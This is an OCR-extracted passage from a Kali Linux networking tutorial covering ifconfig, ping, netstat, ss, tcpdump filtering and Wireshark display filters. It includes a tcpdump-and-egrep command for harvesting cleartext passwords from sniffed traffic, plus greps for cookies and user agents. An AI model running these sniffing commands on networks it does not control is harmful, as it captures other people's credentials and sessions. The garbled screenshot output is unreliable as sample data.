[sudo] password for kali:
etho: fla 416 P,BROADCAST ,RUNNING,MULTICAST> mtu 1500
: 3.10 netmask 255.255.255.0° broadcast 19
prefixlen 64 scopeid @
txqueuelen 1000 (Ethernet)
(710.0 B)
X errors @ dropped @ overruns @ frame @
{ packets 12 bytes 1204 (1.1 KiB)
X errors @ dropped @ overruns @ carrier @ collisions ©

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1¢ netmask 255.0.0.0
loop txqueuelen 1000 (Local Loopback)
RX packets 8 bytes 400 (400.0 B)
RX errors @ dropped @ ov runs @ frame ©
TX packets 8 bytes 400 (400.
TX errors @ dropped @ overruns @ carrier @ collisions ©

Where:

1. Isthe IPv4 private IP address
2. Is the netmask

3. The broadcast IP address

4. The IPv6 address

5. The MAC address

6.

The loopback or localhost IP address

Ping is one of the most important commands to determine whether another system is live on your network
or the Internet. Ping will accept either an IP address or a domain name. For instance, to ping hackers-
arise.com, you simply enter;

kali > ping hackers-arise.com

39| Page



PING h ise. (185. ~ @7) 5 ) s of data.
i ( icmp_seqg=1

64
icmp_seq=2

o

W oW

b4
b4
icmp_seq=4
64 from una .63.w (185. - 07): icmp_seq=5
64 bytes from alocated. xsite.c ( 87): icmp_seqg=6

64

As you can see in the screenshot above, the ping command sends a packet to the domain server for
www.hackers-arise.com, and the server responds. In this way, we know it is up and functional. It also
responds with its IP address. If we know the IP address of the host or server, we can simply use that IP to
ping, such as;

kali > ping 185.230.63.107

PING 18 g !

i ! trom 185 B7: 1lcmp_
from 185.23¢ B7: icmp_
from 185.230.¢ a7 dicmp_

64
i

I

(%3]
I

netstat

Another handy command-line tool is netstat (network statistics). Netstat shows us all the connections
coming or going from our system. This can help with monitoring and troubleshooting network
connections. In some cases, I have used it to find malware connecting to my system.

kali > netstat —a
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Your system probably looks different, but you can see every connection to your system. There may be
hundreds!

To display all the TCP connections, you can use the to —t switch; for all the UDP connections, you can
use the —u switch and for all the listening connections, the —I switch, as seen below.

If you are looking for a specific connection, you can pipe (see Linux Basics for Hackers) the netstat
command to grep and filter for key words. If you have an Apache web server running on your system
listening for connections, you can check by piping netstat —a to grep http, such as;

kali > netstat —a | grep http

LISTEN

ss is a similar tool that can display even more information than netstat in a more readable format. When
we run the ss command, we get a display of very connection to our system with the local address and port,
as well as the port on the peer system.
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Recv-Q Send-Q Local Address:

run/systemd/notify

ystemd/journal/dev-log

Jrun

/run/user

@/tmp/ . X11-unix

Network Sniffers

Peer Address:

Port

*

15207

19067

15261

13918

A network sniffer—sometimes referred to as a packet analyzer, protocol analyzer, or network
traffic analyzer—can intercept and analyze network traffic that traverses a digital network. These

sniffers can be invaluable to the network or security engineer, the forensic investigator, and in some

cases, the hacker. For instance, if an application sends passwords over the network unencrypted, the

hacker may be able to sniff and view the passwords. Since only a few applications send passwords

unencrypted in our security-conscious era, the value of the sniffer to the hacker is a bit more nuanced.

For some exploits/hacks, such as DNS or MiTM attacks, analysis of the LAN traffic can be crucial to
their success, making the sniffer invaluable. Besides, sniffing a target’s traffic can reveal what sites they
are visiting, their cookies, their user agent, or even their email messages (if unencrypted or you have the

resources to decrypt the message).
Many tools are capable of network sniffing, including:

SolarWinds Deep Packet Inspection and Analysis Tool
Tcepdump

Windump

Wireshark

Network Miner

Capsa

tshark

Nk W=

In this chapter, we use two of the most popular network sniffer/analyzers: tcpdump and Wireshark. In
addition, we use Wireshark to dig deep into the NSA’s EternalBlue exploit to understand exactly how it

works.
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Controversial Use of Sniffers

For over twenty years, the Federal Bureau of Investigation (FBI) in the United States has used a tool they
term “Carnivore." This tool is used to sniff and analyze the traffic of people suspected of committing
crimes. It is very controversial but legal, as it allows the FBI to eavesdrop on network traffic without a
warrant.

Prerequisites to Sniffing

It's critical to point out that to effectively use a network sniffer, your network interface card (NIC) should
be in promiscuous mode. This means that your NIC picks up ANY packet traversing the network.
Usually, NICs only pick up packets that are intended for their particular MAC (globally unique physical)
address.

The other critical point to understand with network sniffing is that the standard file format for sniffing is
.pcap (packet capture). This means your system must have a library (a bit of reusable code) to put the
packets in this format. These libraries are libpcap on your Linux system or Winpcap on Windows system.

tcpdump in Action

Before we examine the powerful GUI-based sniffer Wireshark, let's take a brief look at the command line
sniffer, tcpdump. Tcpdump was among the very first (1988) Linux/UNIX based sniffers. Although it may
not be the easiest sniffer to use, its versatility and lightweight design make it worth knowing. Tcpdump
can be particularly useful if you have to analyze a non-GUI based system or a remote system where a
GUI would be slow, inefficient, and not very stealthy.

To start tcpdump, enter;

kali >tcpdump

# tcpdump
utput suppr , use -v -vv for fu
-type EN1OMB (Ethernet), captur
6 > 9.255.255.250.190 ]
2019, length 28
b5:3c (oui Unknown), length 46
019.35833 = a omain: 2 5.239.1in-addr.arpa. (46)
3 2 NXDo (103)
1-2019.59304 = ay.d in: 56 .6 . .in-addr.arpa. (44)
teway.domain > kali (
096001 kali 3 43942 = a a 28 42)
111351 omain > k - 0 (
111687 kali-2019. 6 = a i 2 . 2.in-addr.arpa. (44)
2] in 3 1-2019. NXDomain ©/0/ )
> 50.1900: UDP, le
2.in-addr.arpa. (44)
.587576 . .arpa. (42
.587774 _gateway.54033 > 4.C 51.mdns 3 e )7 . .in-addr.arpa. (44)
.601171 gateway.domain > k -2019.44754: ai

As you can see, as soon as you enter the command, tcpdump, packets begin to flow across your screen.
These packets are largely communication between your Kali system and the LAN gateway.

Let's try creating some traffic to analyze. For instance, let's try sending a ping (ICMP echo request) to
your Windows 7 system from one terminal and running tcpdump from the other.
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kali > ping 192.168.0.114

kali > tcpdump

root@kali-2019: ~

Let’s zoom in on the tcpdump screen so we can see detail there.

# tcpdump
tcpdump: verbo output suppre , use -v or -vv for ‘Full prntucnl de :
listening on eth®, link-type EN1@MB (Ethernet) rd: 2144 bytes
16:12:85.770020 IP kali-2819 = 192.16 . : ! id 25881, se , length 64
16:12:85.770314 IP 192.168.0.114 > kali ] : D d 25881, se length 64
16:12:05.770836 IP kali-2019.44328 > gateway.domaln:A39663+ PTR? 114.0.16 .in-addr.arpa.

(44)
16:12:05.788317 IP gateway.domain > kali-2019.44328: 39663 NXDomain ©/0/0 (44)
1i

16:12:85.788799 IP ka
(44)
16:12:05.804341 IP _gate vay.domain > kali-2019.37659: 53089 NXDomain ©/0/0 (44)
16:12:85.804701 kali 019 39714 = gateway.domain: 47919+ PTR? 1.0.168.192.in-addr.arpa. (4

1019 37659 > gateway.domain: 53089+ PTR? 173.0.168.192.in-addr.arpa.

As you can see, tcpdump displays the protocol (ICMP) and the type (echo request and echo reply).

If we want to capture the output to a file where we can analyze it at a later time, we can use the —w option
followed by the file name.

kali > tcpdump -w myoutput.cap

Filter by IP Address

We may want to filter out all the traffic except the traffic coming back from the Windows 7 system.
Tcpdump, developed by researchers at the Lawrence Livermore National Laboratory in Berkeley, CA,
running BSD Unix, utilizes the Berkeley Packet Filter (BPF) format to create filters.
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We can create that filter for the Windows 7 IP address by entering:

kali > tcpdump host 192.168.0.114

tcpdump

output suppr
link-type
kali-
192.1
kali-2

2019
.0.
019
0.114 =

114 >

> 19“.

‘.114 >
kdll 2019
192. .0.
kali-2019 =

.609607
.610432
.611175
.611988
.612675
.613353

6533 kali ’019‘
192.168.0.

> 192.

= 192.

kali-
2.16
kali-2

2019:
0.114:
019:

144 by
id 28

id 28
id

28

id

28

115, se
115, se
28115
115,
28115,
28115,
id 28115,
28115,
id 28115,
28115, se
id 28115,
28115,

25

8, length 64

q 9, length 64

9, length 64

(] 10, length 64

length 64
length 64
gth 64
length

length 64
length

length 64

id

id

id

id

id

2o

d

Now you can see just the traffic coming and going to the Windows 7 system as we have filtered out all

the other traffic.

Now, let's connect to the Apache web server on our Kali machine from your Windows 7 system. First,

start the Apache2 web server built into Kali.

kali > systemctl apache2 start

This starts your Apache webserver. Next, start tcpdump again on your Kali system.

kali > tcpdump host 192.168.0.114

Now, open a browser on your Windows 7 system and navigate to the Kali system IP address.

You should begin to see packets appearing in the tcpdump terminal.

d,

:51:51.186494
:51:51.195764

APP
ARP,
ARP,
ARP,
ARP,
IP 192.
cale 8, nop,nop

qu who-has
ply kali-2019

sackOK],

215228

TP: GET / HTTP/L.1
09:51

] us
= ENlOMB (Et

kali-
is-at
168.0.114.49744 > kali-
length ©
3.215016 IP kali-2019.http > 192.168
[mss 1460,nop,nop,sackoK, nop,wscal
IP 192.168.0.114.49744 > kali-
3.215406 IP 192.168.0.114.49744 > kali-

3.215429 IP kali-2019.http > 192.168.0.

09:51:58.216329 IP kali-2019.http > 192.1

: HTTP: HTTP/1.1 200 OK

2019
08

0.

2019.http:

114.49744:
71, length] e
2019.http: gs [.
2019.http:

114.49744:
9.114.49744:

0.114, 1rngth 46
:08:b5:3c (oui Unknown),
114 twll _gateway, leng
1 192.168.0.114, length 46
7:9e:13:2d (oui Unknov
FEENER

2, options [mss 146

Flags [S.]} seq 1383202157, ack 1495846183, win 29200

, win 256, length @
1:441, ack 1, win 256,

1,

length 440: HT

Flags [.], ack 441,
Flags [P.], seq 1:3381,

win 237, length @
ack 441, win 237, length 3380

Note that we can see the three-way TCP handshake in the highlighted polygon. You can see first an “S”
flag, then an “S.” flag (tcpdump represents the A or ACK flag with a “ .““), and then a “.” flag or written

another way, S-SYN/ACK-ACK.
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This filter displays traffic coming and going from our Windows 7 system. If we want to filter for just the
traffic coming FROM our Windows 7 system, we can create a filter like;

kali > tcpdump src host 192.168.0.114

tcpdump src huwt 192.168.0.114

ening on eth®, link- e C ( 44 bytes
3.953749 IP|192. 0.114149895 = k '-2!319.htt|::: ags [S seq 1049926987, win 8192, options [mss 146
op,wscale 8,nop

:36.953924 IP 2. 0.114])498 > kali-2819.http: Flags [. ack 1212929604, win 256, length ©
:36.954080 IP : 4} 498 > kali-2@019.http: ags . seq 0:440, ack 1, win 256, length 440: HT

16 49 36.955356 2.168.0.114] 498 > kali-2019.http: ags |[. K 8 win 256, length @
6 :36.979218 2. 0.114}49895 > kali-2019.http: gs . e :849, ack 3381, win 256, length 40
: HTTP: GET flCIIH‘\fllpl-'nlllg -75.png HTTP/1.1

Now, we are only seeing the traffic coming (src) from our Windows 7 system (192.168.0.114).
Filter by Port

What if we wanted to filter out all the traffic except those going to a particular port on our Apache web
server? Let’s try to filter out everything except traffic going to port 80 (HTTP). If we use the —vv option
(very verbose), tcpdump will decode all the IP and TCP headers and the user agent (the user agent can
often be used to identify the user). To get these results, we could write a filter such as:

kali > tcpdump -vv dst port 80

# tcpdump -vv dst port 8@
9, link-type EN1@MB (Ethernet), capture size 262144 bytes
p, ttl 128, id 26294, offset @, fla [DF], prote TCP (6), length 52)
.114.49900 > kall 2019.http: Flags [S], cksum 0xf®07 (correct), seq 1277349177, win 8192, options
op,wscale 8,nop,nop,sack0K], length @
:25. 7 2078 IP (tos , ttl 128, id 26295, offset @, flacg roto TCP (6), length 40)
192. .0.114.49900 > kali-2019.http: Flags [.], cksum @ 47 (correct), q 1277349178, ack 2056859370, w
in 256, gth @
16:58:25.752228 IP (tos 0x@, ttl 128, id 26296, offset O, ag rote TCP (6), length 486)
192. 160‘0 114 499 ) > kali-2019.http: Flags [P.], cksum 0x6 or seq 0:440, ack 1, win 256, lengt
h 440: )
GET / HTTPfl 1
: 192.168.0.173
er-Agent: Mozilla/5.0 (Windows NT 6. 1 W1nﬂ4 4; rv:68.60 e "}“0100101 Firefox/68.0
Accept: text/html,application/x . F:0=0.8
Accept-Langual

User Agent

e: Wed, 30 Jan 2019 07:12:29 GMT
"29cd-580a7alfa9146-gzip"
Cache-Control: max

Filter by TCP Flags

What if we wanted to see only the traffic with SYN flags sets on it? We could create a filter like this:

kali > tcpdump ‘tcpl[tcpflags]==tcp-syn’
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:~# tcpdump 'tcpl[tcpflags]==tcp-syn’
utput suppressed, us -vv for full p
, link-type EN1@MB (Ethernet), capture

= kali;2019.http: a q 4259635309, win 8192, options [mss 146

> kali-2019.http: seq 3099950202, win 8192, options [mss 146

Of course, we can create a filter for each of the TCP flags, such as;
kali > tcpdump ‘tcpltcpflags]==tcp-ack’

kali > tcpdump ‘tcpltcpflags]==tcp-fin’

kali > tcpdump ‘tcpltcpflags]==tcp-rst’

kali > tcpdump ‘tcpltcpflags]==tcp-psh’

kali > tcpdump ‘tcpl[tcpflags]==tcp-urg’
Combining Filters

Tcpdump enables us to use filters together using a logical AND (&&) or a logical OR (]]). So, if we
wanted to filter for a particular IP address and TCP port 80 we would create a filter such as:

kali > tcpdump host 192.168.0.114 and port 80

We can also use a logical OR, such as:

kali > tcpdump port 80 or port 443

If we want to see all the traffic except that traveling from a particular [P address, we can use the negation
symbol (!) or not.

kali > tcpdump not host 192.168.0.114
Filtering for Passwords and Identifying Artifacts

To filter for passwords in cleartext, we could build a filter for various ports and then use egrep to search
for strings indicating logins or passwords.

kali > tcpdump port 80 or port 21 or port 25 or port 110 or port 143 or port 23 —1A | egrep —i BS
‘pass=|pwd=|log=|login=|user=[username=|pw=|passw=|password="

Finally, if you want to filter for just the user agent (an identifying signature of the user and their browser)
we could create a filter such as:

kali > tcpdump -vvAls | grep ‘User-Agent’
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: tcpdump -wvAls grep er-
tcpdump: list on etho, llnk t”pr EN10MB (Ethernet), capture = 144 bytes
nt: Mozilla/5.0 (Windows NT 6.1; Win64; i ; :;'0100101 Flrrfnafﬁu.-
illa/5.0 (Windows NT 6.1; Wi
nt: Mozilla/5.0 (Windows in64; x6 :68.0) Ge kn;’OlDOlDl Feran}ﬁu.'

illa/5.0 (Windows NT 6.1; i x64; Gn:cl«_u; 0100101 Fi
ent: Mozilla/5.0 (Windows

.0) Geckofzaloalel Firefox/68 .o

Finally, to filter for just the browser cookies, we can create the following filter.
kali > tcpdump -vvAls | grep ‘Set-Cookie|Host|Cookie:’

tcpdump is a powerful command-line tool for analyzing network traffic with multiple capabilities. Time
invested in learning its BPF-based filtering system is time well invested. As a security admin or hacker,
you may not have access to a GUI on a remote system, and tcpdump is the tool of choice.

Wireshark, the Gold Standard in Sniffers/Network Analyzers

In recent years, Wireshark has become the de-facto standard in sniffers. Formerly known as Ethereal, it is
now part of nearly every network or security admin’s tool chest. Kali has Wireshark built-in, so we can
start Wireshark by simply entering Wireshark in the terminal or using the GUI; go to Applications-->09
Sniffing and Spoofing>Wireshark.
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S emEmP D]
Q|

%) Favorites
3 9 » Network Sniffers

Recently Used
R » §gF - Spoofing & MITM

ran ettercap-graphical

I All Applications

¢ Settings
> 95 ! macchanger

Dminicom

mitmproxy

I Usual Applications

Q 01 - Information Gathering

q‘_r, 02 - Vulnerability Analysis
« netsniff-ng

@ 04 - Database Assessment responder

g 05 - Password Attacks @ wireshark

@D 06 - Wireless Attacks

f4) 07 - Reverse Engineering

&M 08 - Exploitation Tools

& 09 - Sniffin

'(E 10 - Post Exploitation

@ 11 - Forensics

12 - Reporting Tools

@ 13 - Social Engineering Tools

42 -Kali ¢ Sec Links

Wireshark now opens and asks you which interface you would like to listen on. If you are using a VM,
select the eth(. Select the wireless adapter if you are using a physical machine with a wireless adapter
(probably wlan0). Usually, you can determine which adapter to select by activity level. The most active
adapter is likely the one you want to use for sniffing.
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‘ The Wireshark Netwerk Analyzer

- O x
File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help
L BE =7 s ElEaa
( |A,; a display filtes <Ctrl-> ~ | Expression...  +
Welcome to Wireshark
Capture
using this fiter: [ [enter o capture fiter - | Alinterfaces shown ™
Ethernet
Local Area Connection® 2
Bluetooth Metwork Connection
Wi-Fi et
Learn
User's Guide - Wiki - Questions and Answers - Mailing Lists
‘You are running Wireshark 2.6.3 (v2.6.3-0-ga62e6c27). You receive automatic updates.
+#  Ready to load or capture No Packets Profile: Default
|

Now, Wireshark begins capturing packets from your network interface and packaging them into the .pcap

format. Pcap is the standard file format for packet capture (you find it used throughout our industry in
such products as Snort, aircrack-ng, and many others)

You see three separate analysis windows in Wireshark. The top window, labeled #1 in the screenshot

below, is known as the Packet List Pane. You should see color-coded packets moving in real time
through this window.
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£ Capturing from Wi-Fi - [m| X

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools  Help

md® RE Ses=7 85 =EQaAaaH
[ |Fppl'-;adispla'-r' filter ... <Ctrl-/> ~| Expression..  +
Mo. Time Source Destination Protocol  Length Info ~

18221 158.976959 192.168.1.1 239.255.255.250 SSDP 371 NOTIFY * HTTP/1.1

18222 158.988639 192.168.1.1 239.255.255.250 S55DP 379 NOTIFY * HTTP/1.1

18223 158.9863851 192.168.1.1 239 _3255.255.258 SSDP 387 NOTIFY * HTTP/1.1

18224 158.987456 52.35.169.37 192.168.1.1687 TLSv1.2 739 Application Data

18225 151.823671 192.168.1.187 52.35.169.37 TLSv1.2 129 Application Data

v

< >

Frame 1: 66 bytes on wire (528 bits), 66 bytes captured (528 bits) on interface @

Ethernet II, Src: Cisco-Li_97:4f:48 (@@:25:9c:97:41:48), Dst: IntelCor_55:3c:@5 (38:e3:7a:55:3c:@5)
Internet Protocol Version 4, Src: 185.78.48.151, Dst: 192.168.1.187

Transmission Centrol Protocol, Src Port: 443, Dst Port: 53588, Seq: 1, Ack: 1, Len: @

2
3@ e3 7a 55 3c @5 @@ 25 9c 97 4T 48 98 8@ 45 @8 @-zU< % --OH -E
B8 34 91 Ga 48 8@ 37 @5 @e 69 b9 46 28 97 c@ as 4-j@-7 i-F(
81 6b 81 bb d1 @4 bc 12 bd 7c ae 72 79 31 88 18 k | ryl
@030 ©7 42 @b 49 00 00 01 ZHl 5 @a ae 72 79 3@ ae 72 B-I - - ryd-r 3
79 31 vl
O 7 wiFi: <live capture in progress = Packets: 18226 - Displayed: 18226 (100.0%) || Profile: Default

The middle window, labeled #2, is known as the Packet Details Pane. This pane provides us with header
information from the selected packet in Window #1.

Finally, Window #3, Packet Bytes Pane, provides payload information in both the hexadecimal format to
the left and the ASCII format to the right.

Creating Filters in Wireshark

In general, there is way too much information here to do an effective analysis. Packets are flying by,
hundreds or thousands per minute. To use Wireshark effectively, we need to filter the traffic to see only
those packets of interest. Wireshark has a simple filtering language that you should understand to use
effectively and efficiently in any investigation or analysis.

The packets flying by our interface are of many different protocols. Probably the first filter we want to
apply is a protocol filter. Remember, TCP/IP is a suite of protocols, and we probably want to focus our
analysis on just a few.

In the filter window, type "tcp." You notice that it turns green, indicating that your syntax is correct (it

remains pink while your syntax is incorrect). Now, click the arrow button to the far right of the filter
window to apply the filter.
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A "wi-fi
File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

RE Qe=2ZF L5 EAQ_E

No. ﬁl\e Source: Destination Protocol  Length Info )
2336 115.503987 54.88.124.1 192.168.1.107 TLSvl.2 738 Application Data
2337 115.558685 192.168.1.107 54.88.124.1 TP 54 49782 + 443 [&(K] Seq=226 Ack=126928 Win=64 Len=8
2336 116.012966  54.88.124.1 192.168.1.107 TLSvi.2 434 Application Data
| 2339 116.858253  192.168.1.107 54.88.124.1 Tcp 54 49702 + 443 [ACK] Seq=226 Ack=127308 Win=68 Len=0
L 2340 116.319892  54.148.172.173 192.168.1.107 TLSvi.2 761 Application Data
2341 116.374616  192.168.1.187 54.148.172.173 e 54 49704 » 443 [ACK] Seq=226 Ack=123998 Win=65 Len=0
2342 116.525029 54.88.124.1 192.168.1.107 TLsvl.2 426 Application Data

| <

Frame 9: 451 bytes on wire (3688 bits), 451 bytes captured (368 bits) on interface @

Ethernet II, Src: Cisco-Li 97:4f:48 (00:25:9c:97:4f:48), Dst: IntelCor 55:3c:05 (38:e3:7a:55:3c:05)
Internet Protocol Version 4, Src: 54.148.172.173, Dst: 192.168.1.187

Transmission Control Protocel, Src Port: 443, Dst Port: 48704, Seq: 1, Ack: 1, Len: 397

Secure Sockets Layer

38 e3 7a 55 3c @5 08 25 Sc 97 4f 45 08 00 45 88 @ zU< X < OH-E ~
@1 b5 ¢8 95 40 90 &7 86 24 58 36 94 ac ad c@ a8 @ - sx6

@1 6b @1 bb c2 28 78 84 4 d6 ae d9 7f 42 50 18 k- - (x BP

@0 75 db 56 80 80 17 83 ©3 @1 88 fb ce eb 66 28  -u-V-- - - -oooof

85 5f d2 84 d8 4e 88 d6 51 5b ef c2 42 4d da 29 -_---N-- Q[--BM-)

20 24 ae 73 83 b2 2@ 47 84 8@ 5¢ b5 57 @c db 7b $5 G VW

al 83 9a ba 7f 85 13 bb 2b 3a 45 83 Be 76 ba 53 +:1EvS

fa a5 a@ 6@ 71 fc 26 c6 88 c2 80 65 6d fc 2f 2c “q& em-/,

2b 6d 4c 8f @4 ef b6 B2 2b 84 5d 2d 4a 6@ 37 31 +mL +1-3°71 .

@ 7 wireshark_9667575 1-AB3C-44DA-8BCS-EE 16DASC0807_20180917140917_a07760.pcapng Packets: 2342 * Displayed: 1636 (69.9%) Profie: Default

When you do, Wireshark filters out all traffic except the TCP traffic. You can do the same for just about
any protocol, such as “http,” “smtp,” "
passing your interface.

udp,” “dns", and many others. Try out a few and see what traffic is

If we want to see traffic only from a particular IP address, we can create a filter that only shows traffic
coming or going from that address. We can do that by entering at the filter window:

ip.addr==<IP address>

Note the double equal sign (==) in the Wireshark filter syntax (similar to C assignment operator). A
single “=" does not work in this syntax.

In my case here, [ want to see traffic coming or going to IP address 192.168.1.107, so I create a filter like
so:

ip.addr == 192.168.1.107
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A wi-Fi

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

ma e RE(Q e 1=z =2aaan

[ Wip.addr==192. 168.1. 107

~ | Expression

Source Destination Protocol  Length Info
9667 371.850453 192.168.1.187 54.148.172.173 TCP 54 49784 + 443 [ACK] 5eq=981 Ack=385787 Win=63 Len=@
9668 372.931905 54.88.124.1 192.168.1.187 TLSv1.2 443 Application Data
9669 372.985533 192.168.1.187 54.88.124.1 TCP 54 49782 » 443 [ACK] 5eq=981 Ack=486955 Win=63 Len=0
9670 373.021211 185.238.61.166 192.168.1.187 TLSv1.2 85 Application Data
9671 373.821795 192.168.1.187 185.230.61.166 TLSV1.2 89 Application Data
9672 373.057@81  185.230.61.166 192.168.1.187 TP 60 443 + 64875 [ACK] Seq=956 Ack=1856 Win=17796 Len=8
9673 373.954933 54.148.172.173 192.168.1.107 TLSV1.2 128 Applitatiﬁﬂ Data

Frame 9: 451 bytes on wire (3608 bits), 451 bytes captured (3668 bits) on interface @

Ethernet II, Src: Cisco-Li 97:4:48 (88:25:9c:97:4f:48), Dst: IntelCor 55:3c:@5 (3B:e3:7a:55:3c:05)
Internet Protocol Version 4, Src: 54.148.172.173, Dst: 192.168.1.187

Transmission Control Protocol, Src Port: 443, Dst Port: 49784, Seq: 1, Ack: 1, Len: 397

Secure Sockets Layer

ba
@ 60

Profile: Defsult

Packets: 9673 - Displayed: 7690 (73.5%)

Now, you see only traffic coming or going to that IP address. Now my analysis is narrowed to a single IP

address of interest.

We can also filter traffic by port. If I want to see only TCP traffic destined for port 80, I can create a filter

like that below;

tcp.dstport==80

A Wik

file Edit View Go Copture Analyze Stotistics Telephony Wireless Teols Help
uge REI]R &= 3= Qe Qi
0 [tcp. dstport==80 [ Go to the first packet | -] Expression... | +
o Tme Source Destnaton Protocol _Length Info ~
352 15.287207  192.168.1.107 -198.57 Tcp 54 49890 = 88 [FIN, ACK] Seqml Ackel Win=68 Len=d
354 15.321721 192.168.1.187 .198.57 TCP 54 49890 = 8@ [ACK] Seq=2 Ack=2 Win=68 Len=@
1544 75.507737  192.168.1.107 204.89 Tcp 54 49903 + 88 [FIN, ACK] Seqel Ack=1 Win=65 Len=o
1546 75.550055  192.168.1.107 204.89 Tcp 54 49903 + 88 [ACK] Seq=2 Ack=2 W
1967 95.228531  192.168.1.107 204.104 Tep 54 43874 + 88 [FIN, ACK] Seqe1 Ack=1 Win=68 Len=d
1969 95.277653  192.168.1.107 .204.104 Tcp 54 49874 + 88 [ACK] Seq=2 Ack=2 Win=68 Len=@
6740 290.652395  192.168.1.107 18.239 Tep 66 49946 + 88 [SYN] Seqsd Win=17520 Len=b MSS=146 WS=256 SACK_PERM=1

Frame 352: 54 bytes on wire (432 bits), 54 bytes captured (432 bits) on interface @
Ethernet IT, Src: IntelCor_55:3c:@5 (36:e3:7a:55:3¢:05), Dst: Cisco-Li_97:4f:48 (00:25:9¢:97:4f:48)
Internet Protocol Version 4, Src: 192.168.1.107, Dst: 184.86.198.57

Transmission Control Protocol, Src Port: 49598, Dst Port: 80, Seq: 1, Ack: 1, Len: @

@8 25 9c 97 4f 48 30 e3 7a 55 3c 05 08 08 45 @0 X -OHe: U< E
@0 28 36 cf 40 90 80 86 d3 5d <@ a8 01 6b 68 56 (6@ 1 -khv
€6 39 c2 €2 80 50 16 83 bc 46 99 56 4¢ Of 58 11 9. P-. -F-WN-P
00 44 4a 8a 80 00 03

@ ¥ wireshark_96675761-AB3C-440A-3BC5-EE160A6C0807_201809171409 17_807760.pcapng Packets: 19948  Displayed: 60 (0.4%)

Profie: Defauit

Note that this filter indicated the protocol (tcp), the direction (dst) and the port (80).

When creating filters, we most often use “==""as the operator in our filter (there are others; see below).
This syntax works fine as long as we are looking for one of the many header fields in the protocol. If we
are looking for strings in the payload, we have to use the "contains" operator. So, if I were looking for

packets with the word “Facebook™ in them, we could create a filter like that below.
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tcp contains facebook

A Wik - O X
File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

L) REQe2=T 8|5 Qe
[ W [tcp contains facebook ] ~ | Expression...  +
No. Time Source Destination Protocol  Length Info

17978 738.668725 192.168.1.187 157.248.22.39 TLSvl.3 571 Client Hello

18121 739.594815

192.168.1.167 157.248.22.35 TLSv1.3

571 Client Hello

Frame 17978: 571 bytes on wire (4568 bits), 571 bytes captured (4568 bits) on interface @
Ethernet II, Src:
Internet Protocol Version 4, Src: 192.168.1.187, Dst: 157.248.22.39
Transmission Control Protocol, Src Port: 50021, Dst Port: 443, Seq: 1, Ack: 1, Len: 517
Secure Sockets Layer

IntelCor_55:3c:@5 (3@:e3:7a:55:3¢:@5), Dst: Cisco-Li 97:4f:48 (90:25:9c:97:4f:48)

83 f1 5f ad
51 57 b@ 49
c7 20 4b aa
€6 17 62 le
85 cc @8 lc
cc a8 @ 2c
60ad Bl @6 @1 97
8abe
f 01 ea

Sh
dg
47
67
13
@

[

81

od 2f 14 c7 97 38 31 15 82 90 66 [/ 81 f
cd 1c 6e bf 95 98 a4 29 69 9d be
a2 af de 2 b3 58 88 b9 ce d@ 6@ K'G P

3f @c 28 96 55 ea 82 26 4f b8 55 n-g( U2
91 13 3 13 02 c@ 2b c@ 2f cc a9 +/
30 c0 13 <6 14 00 2f 60 35 60 6a ,8 /5
86 @0 15 8 13 @B 00 10 ]

82 17 88

00 80 fa @0 oc 00 1d B8 17

@ ¥ Bytes 173-138: Server Name (ssl.handshake.extensions_server_name)

Packets: 20092 - Displayed: 2 (0.0%)

Profile: Default

As you can see above, it only found two packets with the word Facebook in the payload, and we can see
the word Facebook in the ASCII display in the #3 pane.

Creating Filters with the Expression Window

If we aren't sure what field we want to filter for or how to create the necessary filter, we can click on the
Expression tab to the far right. This opens the Expression window like below.

L

FEEaqaaE

- | Expression

| M Wireshark . Display Filter Expression

Field Name

Relation

104apei - [EC 60870-5-104-Apci
104asdu - [EC 60870-5-104-Asdlu

29West - 29West Protocol

2dparityfec - Pro-MPEG Code of Practice £3 release 2 FEC Protocol
3COMXNS - 3Com XNS Encapsulation

3GRP2 AT1- 3GPP2 AT

BLOWPAN - IPv6 over Low power Wireless Personal Area Networks
802,11 Radio - 802.11 radio information

£02.11 Radiotap - IEEE 802.11 Radiotap Capture header

802,11 RSNA EAPOL - IEEE 802.11 RSNA EAPOL key

802.3 Slow protecols - Slow Protocals

9P Plan 9

A21. A21 Protocol

AAF . AVTP Audio Format

AALT- ATM AALT

AAL3/A. ATM AALZ/4

AARP - Appletalk Address Resalution Protocol

AASP . Aastra Signalling Protecel

A-bis OML - GSM A-bis OML

ACAP - Agplication Cenfiguration Access Pretocol

ACN - Architecture for Control Networks

ACP133 . ACP133 Attribute Syntaxes

ACR 122 - Advanced Card Systems ACR122

ACSE - 150 8650-1 0S| Assocition Contral Service

>

is present

contains
matches
in

Value

Predefined Values

Range (offset:length)

Search:

Ne display fiter

A hine,

Cancel

Help

|| Profie: Defauit

| —————

+
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To the left of this window is the long list of fields available to us to create filters. These are hundreds of
protocols and the protocols’ fields. You can expand a protocol and find all of its fields and select the field
of interest.

The upper right-hand window includes the Relation choices. These include:

Operator Description

Greater than or Equal To
Less Than or Equal To
Protocol or Field Contains a Value

matches [J| Protocol or Text Field Matches a Regular
Expression

We can now create a filter by simply selecting a field in the left window, a relation in the upper right
window, and a value in the lower right window (values are very often 1 or 0, meaning they exist or do
not). For instance, if we want to find all tcp packets with the RST flag set, we would enter:

tcp. flags.rst==
Following Streams

In some cases, rather than examine all the packets of a particular protocol or traveling to a particular port
or [P, you want to follow a stream of communication. Wireshark enables you to do this with little effort.
This technique can be useful if you are trying to follow, for instance, the conversation of a rogue,
disgruntled employee who is trying to do damage to your network.

To follow a stream, select a packet by clicking on it and then right-click.
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A WiFi
File Edit View Go Copture Analyze Statistics Telephony Wireless Tools Help

RE R e=

Source Destnaton Protocol  Length Info
192.168.1.107 172.217.3.4 54 51016 = 443 [FIN, ACK] Seq=1 Ack=1 Win=65 Len=@
172.217.3.4 .163.1.107 54 443 » 51016 [FIN, ACK] Seq=1 Ack=2 Win=285 Len=0
192.168.1.107 .217.3. 54 51016 = 443 [ACK] Seq=2 Ack=2 Win=65 Len=0
.163.1.107 .125.34. 153 Application Data
.168.1. .125.34. 379 Application Data
.125.34. .163.1. 60 443 + 50586 [ACK] Seq=899 Ack=994 Win=52 Len=0
.125.34. .168.1. 96 Application Data
60 443 + 50586 [ACK] Seq=941 Ack=1319 HWin-84 Len-@
